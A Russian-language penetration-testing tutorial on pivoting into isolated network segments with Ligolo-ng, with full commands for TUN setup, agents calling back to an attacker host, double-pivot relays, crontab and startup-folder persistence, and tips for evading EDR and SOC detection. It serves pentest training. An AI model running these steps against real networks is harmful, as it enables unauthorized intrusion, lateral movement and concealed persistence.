Ligolo-ng туннелирование пентест: от Chisel к полноценному TUN-интерфейсу

На внутреннем пентесте банковской инфраструктуры с тремя изолированными VLAN-сегментами Chisel стабильно ронял SOCKS-прокси при запуске nmap -sV по /24-подсети через захваченный Linux-хост. Три сканирования — три обрыва. Переход на Ligolo-ng решил проблему за 15 минут и поменял мой подход к пивотированию: вместо SOCKS-прокси и proxychains — полноценный TUN-интерфейс (виртуальный сетевой адаптер уровня L3, если коротко — как VPN-подключение прямо во внутреннюю сеть) с нативной маршрутизацией. Ниже — пошаговый разбор: как настроить туннелирование, маршрутизировать несколько подсетей одновременно и не потерять доступ при сбое агента.
Место в цепочке атаки: зачем нужен pivoting
Пивотирование (pivoting) — это перенаправление трафика через скомпрометированный хост, чтобы добраться до изолированных сегментов сети. В цепочке атаки это мост между «получил доступ к одному хосту» и «продвигаюсь дальше по инфраструктуре».
[Применимо: внутренний пентест, black box / grey box, modern и legacy инфраструктура]
Типичный сценарий: вы получили shell на Linux-сервере в DMZ (демилитаризованная зона — сегмент между интернетом и внутренней сетью). У сервера два сетевых интерфейса — один смотрит наружу, второй — во внутреннюю сеть 10.10.10.0/24, куда ваша атакующая машина напрямую не доберётся. Чтобы сканировать внутренние хосты, запускать CrackMapExec (проверка учётных данных в Windows-сетях) или подключаться через Evil-WinRM — нужен туннель через захваченный хост.
В терминах MITRE ATT&CK — открытой базы тактик и техник атак, где каждой технике присвоен идентификатор вроде T1572 — Ligolo-ng покрывает сразу несколько техник:
- Protocol Tunneling (T1572) — инкапсуляция трафика внутренней сети в TLS-туннель
- Internal Proxy (T1090.001) — проксирование через скомпрометированный хост
- Multi-hop Proxy (T1090.003) — цепочка из нескольких промежуточных хостов
- Encrypted Channel (T1573) — шифрование канала связи
Полная цепочка выглядит так: initial access (RCE на веб-сервере) → foothold (загрузка агента на хост, T1105) → discovery (разведка внутренних сетей через ifconfig, T1016) → pivoting (настройка туннеля, T1599 Network Boundary Bridging) → lateral movement (nmap по внутренним подсетям, T1046, атаки на найденные сервисы).
Ligolo-ng вместо Chisel — архитектурные отличия
Chisel — популярный инструмент для сетевого туннелирования — работает как SOCKS5-прокси. На практике это означает: каждый инструмент на атакующей машине нужно запускать через proxychains, ICMP (пинг) и ряд UDP-протоколов через SOCKS не пролезают, а под нагрузкой всё это разваливается.
Ligolo-ng устроен иначе. Вместо прокси он создаёт виртуальный сетевой интерфейс (TUN) и использует пользовательский сетевой стек на базе gVisor (компонент контейнерной изоляции Google). Для ОС атакующей машины внутренняя сеть выглядит так, будто подключена напрямую — как VPN. Проект активно поддерживается (github.com/nicocha30/ligolo-ng, версии v0.5+), широко используется при подготовке к OSCP и на реальных пентестах.
| Критерий | Chisel | Ligolo-ng |
|---|---|---|
| Уровень работы | SOCKS5 (L4/L5) | TUN-интерфейс (L3) |
| Нужен proxychains | Да | Нет |
| ICMP (ping sweep) | Не работает | Работает |
| Несколько подсетей | Через отдельные порты | Через маршруты ip route add |
| Привилегии на агенте | Не требуются | Не требуются |
| Привилегии на атакующей | Не требуются | root / CAP_NET_ADMIN |
| Multi-hop | Цепочка прокси | Нативный listener_add |
| Размер бинаря | ~8 MB | ~6 MB |
| Автореконнект | Нет из коробки | Флаг -retry |
Trade-off: когда использовать, когда нет
| Ligolo-ng | |
|---|---|
| Преимущества | Нативная маршрутизация L3, поддержка ICMP, не нужен proxychains, встроенный multi-hop, автореконнект |
| Ограничения | Нужен root/sudo на атакующей, стандартный бинарь детектируется EDR, UDP ограничен |
| Когда использовать | Внутренний пентест с несколькими VLAN, нужен полноценный доступ ко внутренней сети, CTF/HTB с multi-pivot |
| Когда НЕ использовать | Нет root на атакующей машине, нужен проброс одного порта, среда с агрессивным EDR без возможности пересборки |
Chisel предпочтительнее в двух ситуациях: если на атакующей машине нет root-доступа (работаете с shared jumpbox-сервера — TUN-интерфейс создать не получится) или если нужен быстрый проброс одного конкретного порта (RDP 3389) без маршрутизации целой подсети. Ещё вариант — SSH-туннели и tun2socks — подходит, когда у вас уже есть SSH-доступ на скомпрометированный хост. Но для пентестов с несколькими сегментами это менее удобно.
Требования к окружению
Перед практикой проверьте:
- Атакующая машина: Kali Linux / Parrot OS (любая версия) с пакетом
iproute2(предустановлен). Нуженsudoили root — без этого TUN-интерфейс не создать - RAM: 512 MB свободных для proxy
- Целевой хост (агент): Linux (amd64/386), Windows (amd64), macOS — агент кросс-платформенный. Повышенные привилегии НЕ нужны. Размер бинаря ~6 MB — его нужно доставить на хост
- Сетевое: исходящее TCP-соединение от агента к proxy на порт 11601 (по умолчанию). Агент инициирует соединение сам — это обходит большинство входящих firewall-правил
- Скачать: proxy для вашей ОС и agent для целевой ОС — раздел Releases на github.com/nicocha30/ligolo-ng
Настройка TUN-интерфейса и первый туннель
Допустим, вы получили shell на Linux-сервере (IP: 10.10.10.50), у которого есть второй интерфейс в подсеть 172.16.0.0/24. Ваша атакующая машина — Kali с IP 192.168.1.100.
Делай раз — создаём интерфейс на атакующей машине
На Kali выполните две команды. Первая создаёт виртуальный сетевой интерфейс с именем ligolo, вторая поднимает его:
# Создаём TUN-интерфейс (сохраняется до перезагрузки)
sudo ip tuntap add user $USER mode tun ligolo
# Поднимаем интерфейс
sudo ip link set ligolo up
# Проверяем — должно быть UP,LOWER_UP
ip link show ligolo
Что произошло: в системе появился сетевой интерфейс ligolo без IP-адреса — Ligolo-ng использует его исключительно для маршрутизации. Если в выводе ip link show ligolo нет UP — убедитесь, что команда выполнена с sudo.
Делай два — запускаем proxy и подключаем агент
На атакующей машине запустите proxy. Флаг -selfcert создаст временный самоподписанный TLS-сертификат: ./proxy -selfcert. Proxy начнёт слушать порт 11601 и покажет интерактивную консоль ligolo-ng >>.
Доставьте бинарь агента на скомпрометированный хост (через wget, curl, загрузку через имеющийся shell) и запустите: ./agent -connect 192.168.1.100:11601 -ignore-cert. Флаг -ignore-cert нужен из-за самоподписанного сертификата.
Ожидаемый результат: в консоли proxy появится строка Agent joined с информацией о хосте и его сетевых интерфейсах.
Делай три — выбираем сессию и добавляем маршрут
В консоли proxy введите session — увидите список подключённых агентов. Выберите нужный номер. Выполните ifconfig — proxy покажет все сетевые интерфейсы захваченного хоста. Вы увидите интерфейс с адресом из подсети 172.16.0.x — это цель.
Введите start — туннель активирован. В отдельном терминале на Kali добавьте маршрут: sudo ip route add 172.16.0.0/24 dev ligolo.
Проверка: выполните ping 172.16.0.1. Ответ есть — туннель работает. Теперь nmap -sV 172.16.0.0/24 отработает напрямую, без proxychains. Ping sweep через nmap -sn тоже сработает — в отличие от Chisel, ICMP здесь поддерживается нативно.
Маршрутизация нескольких подсетей через один хост
Если захваченный хост имеет доступ к нескольким подсетям (172.16.0.0/24 и 10.10.20.0/24 — типичная ситуация для сервера на границе VLAN), достаточно добавить дополнительные маршруты:
sudo ip route add 172.16.0.0/24 dev ligolo
sudo ip route add 10.10.20.0/24 dev ligolo
# Проверяем — обе подсети через ligolo
ip route | grep ligolo
Ожидаемый вывод: строки 172.16.0.0/24 dev ligolo scope link и 10.10.20.0/24 dev ligolo scope link. После этого CrackMapExec, Evil-WinRM, BloodHound-python и любой другой инструмент из red team стека будут работать с обеими подсетями без дополнительной настройки.
Ligolo-ng также поддерживает команду autoroute — proxy сам определит доступные через агент подсети и предложит добавить маршруты автоматически. На CTF-платформах типа HackTheBox и в лабораторных средах это экономит время. На реальном пентесте я предпочитаю ручной контроль маршрутов — так точно знаешь, какие подсети маршрутизируешь и не отправляешь трафик куда не нужно.
Double pivot — маршрутизация через два хоста
Через первый захваченный хост (Host A, 10.10.10.50) вы обнаружили Windows-машину (Host B, 172.16.0.5) и получили к ней доступ. Host B имеет интерфейс в третью подсеть 192.168.100.0/24, до которой ни ваша машина, ни Host A не доберутся напрямую.
Топология: Attacker → Host A → Host B → Internal (192.168.100.0/24)
Шаг 1. Настройте первый туннель через Host A (как описано выше). Убедитесь: ping 172.16.0.5 работает.
Шаг 2. Доставьте бинарь агента на Host B. Благодаря работающему туннелю это делается напрямую — scp agent user@172.16.0.5:/tmp/agent, трафик пойдёт через TUN-интерфейс.
Шаг 3. Host B не может подключиться к вашей машине напрямую. Создайте relay через первый агент. В сессии Host A в консоли proxy: listener_add --addr 0.0.0.0:11602 --to 192.168.1.100:11602. Эта команда говорит: слушай на Host A порт 11602 и пересылай трафик на вашу машину.
Шаг 4. Запустите второй экземпляр proxy на атакующей машине: ./proxy -selfcert -laddr 0.0.0.0:11602.
Шаг 5. На Host B запустите агент, указав IP Host A: .\agent.exe -connect 172.16.0.5:11602 -ignore-cert. Агент подключится к listener на Host A, тот перебросит трафик на ваш proxy.
Шаг 6. Создайте второй TUN-интерфейс и добавьте маршрут:
sudo ip tuntap add user $USER mode tun ligolo2
sudo ip link set ligolo2 up
# В консоли второго proxy: session → start
sudo ip route add 192.168.100.0/24 dev ligolo2
Результат: nmap -sV 192.168.100.0/24 с вашей Kali просканирует третью подсеть через цепочку из двух хостов. Без proxychains, без SOCKS.
Сохранение сессии при перезапуске агента
Три сценария потери доступа и решения для каждого:
Агент перезапущен или процесс убит. Запускайте агент с флагом -retry: ./agent -connect 192.168.1.100:11601 -ignore-cert -retry. Агент будет автоматически переподключаться к proxy. Маршруты на атакующей машине (ip route) и TUN-интерфейс не зависят от состояния агента — они сохранятся.
Хост перезагружен. Флаг -retry не поможет, если агент не прописан в автозагрузку. На Linux — добавьте в crontab: @reboot /tmp/agent -connect IP:11601 -retry -ignore-cert. На Windows — разместите .lnk-файл в shell:startup или используйте цикл проверки процесса через PowerShell. По данным операторов реальных engagements (статья Deiteriy Lab на Habr), бесконечный цикл проверки наличия процесса агента — простое и действенное решение.
Сетевая нестабильность. Если канал между агентом и proxy нестабилен, проверьте MTU TUN-интерфейса (по умолчанию 1500). На сетях с дополнительной инкапсуляцией может потребоваться снижение: sudo ip link set ligolo mtu 1300.
Управление несколькими активными сессиями — через session в консоли proxy. Команда tunnel_list покажет все активные туннели. Если сессия больше не нужна — переключитесь на неё и выполните stop. Для удаления устаревших маршрутов: sudo ip route del 172.16.0.0/24 dev ligolo.
Ограничения Ligolo-ng в реальных средах
Работает если: есть скомпрометированный хост с исходящим TCP-доступом к вашей машине (или relay-точке); на атакующей машине есть root/sudo.
Не работает если:
Исходящий трафик заблокирован. Если egress-фильтрация разрешает только HTTP/HTTPS через корпоративный прокси — стандартное подключение агента не пройдёт. Агент поддерживает HTTP-прокси (-http-proxy http://CORP_PROXY:8080), но в средах с SSL-инспекцией (Palo Alto, Zscaler) это может не помочь.
EDR видит бинарь. Агент Ligolo-ng — Go-бинарь без обфускации. CrowdStrike Falcon, SentinelOne и Kaspersky EDR Expert в актуальных версиях детектируют стандартный бинарь как подозрительный инструмент. Для реальных пентестов потребуется пересборка из исходников с модификациями. Открытый Go-код Ligolo-ng упрощает эту задачу.
Нет root на атакующей. TUN-интерфейс требует root или CAP_NET_ADMIN. На shared-инфраструктуре это проблема — тогда Chisel с SOCKS-прокси удобнее.
SIEM детектирует аномалию. TLS-соединение на нестандартный порт (11601) из DMZ наружу — алерт для любого SOC. По данным hunt.io, Ligolo-ng фиксировался в связке с C2-фреймворком Sliver в реальных атакующих кампаниях. Для снижения заметности используйте стандартный порт 443 и собственный сертификат (-certfile, -keyfile).
UDP-протоколы. Ligolo-ng транспортирует TCP и ICMP. Чистый UDP-трафик (DNS-запросы к внутреннему DNS-серверу напрямую) может потребовать отдельного проброса через listener_add.
На практике Ligolo-ng заменил Chisel в абсолютном большинстве моих internal-пентестов. Chisel остаётся в арсенале для быстрого проброса одного порта и для случаев без root-доступа на атакующей машине. Для задач на CTF-платформах и HackTheBox оба инструмента применимы, но на реальных проектах с несколькими VLAN-сегментами преимущество TUN-подхода ощущается уже в первый час работы — разница в скорости и полноте покрытия scope заметна сразу.
Большинство руководств по пивотированию начинаются с SSH-туннелей и заканчиваются Chisel. На этом новички останавливаются и выстраивают всю инфраструктуру пентеста вокруг SOCKS и proxychains. Я считаю это тупиковым путём, который стоит времени и результатов. Proxychains — костыль: каждый инструмент нужно проверять на совместимость, ICMP не работает, сканирование медленное и нестабильное. На реальном пентесте, когда в scope двадцать подсетей и окно в три дня, потерять полчаса на переподключение упавшего SOCKS — непозволительная роскошь. TUN-подход меняет правила игры: внутренняя сеть становится «своей» для ОС атакующей машины, любой инструмент работает нативно. Это не вопрос удобства — это вопрос полноты покрытия scope. Через SOCKS-прокси я физически не мог прогнать половину проверок, обязательных по методологии. Если хочется не тыкаться в отдельные инструменты без системы, а разобраться, как устроен сетевой пентест от начала до конца — на IB Basics показывают, что делать в первый месяц после «хочу в ИБ», включая базу работы с сетями и инструментами.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.